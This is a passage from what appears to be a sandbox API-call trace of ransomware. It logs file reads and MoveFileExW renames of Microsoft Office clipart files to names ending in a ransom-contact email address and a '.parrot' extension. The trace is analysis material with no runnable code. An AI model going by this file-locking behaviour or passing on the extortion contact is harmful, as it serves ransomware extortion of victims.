office\\clipart\\pub60cor\\dd01182_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.625] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.625] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.634] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.634] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8f8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8f8, lpOverlapped=0x0) returned 1 [0129.635] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.635] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.639] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.639] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.640] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.640] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2174, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2174, lpOverlapped=0x0) returned 1 [0129.641] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.641] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.645] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.645] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.647] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.647] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6e8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6e8, lpOverlapped=0x0) returned 1 [0129.647] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.647] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.651] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.651] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.652] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.652] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x384, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x384, lpOverlapped=0x0) returned 1 [0129.653] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.653] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.656] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.656] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.657] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.657] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9dc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9dc, lpOverlapped=0x0) returned 1 [0129.657] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.658] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.660] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.660] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.662] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.662] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x914, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x914, lpOverlapped=0x0) returned 1 [0129.662] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.662] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.665] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.667] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.668] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.669] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4a7c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4a7c, lpOverlapped=0x0) returned 1 [0129.670] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.670] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.673] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.673] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.674] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.674] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x244, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x244, lpOverlapped=0x0) returned 1 [0129.674] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.675] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.677] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.677] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.678] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.678] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x128, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x128, lpOverlapped=0x0) returned 1 [0129.679] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.679] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.682] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.682] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.683] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.684] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x228, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x228, lpOverlapped=0x0) returned 1 [0129.684] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.684] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.687] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.687] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.688] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.689] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1034, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1034, lpOverlapped=0x0) returned 1 [0129.689] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.690] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.693] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.693] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.694] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.695] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8fc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8fc, lpOverlapped=0x0) returned 1 [0129.695] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.695] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.698] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.698] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.699] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.699] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcb4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xcb4, lpOverlapped=0x0) returned 1 [0129.700] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.700] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.702] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.703] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.704] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.704] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1815, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1815, lpOverlapped=0x0) returned 1 [0129.705] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.705] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.708] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.708] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.709] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.709] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x566, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x566, lpOverlapped=0x0) returned 1 [0129.710] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.710] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.713] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.713] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.714] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.714] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x32f2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x32f2, lpOverlapped=0x0) returned 1 [0129.715] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.716] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.718] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.718] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.720] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.720] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa8c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa8c, lpOverlapped=0x0) returned 1 [0129.720] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.720] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.724] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.724] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.725] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.725] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b2e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1b2e, lpOverlapped=0x0) returned 1 [0129.726] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 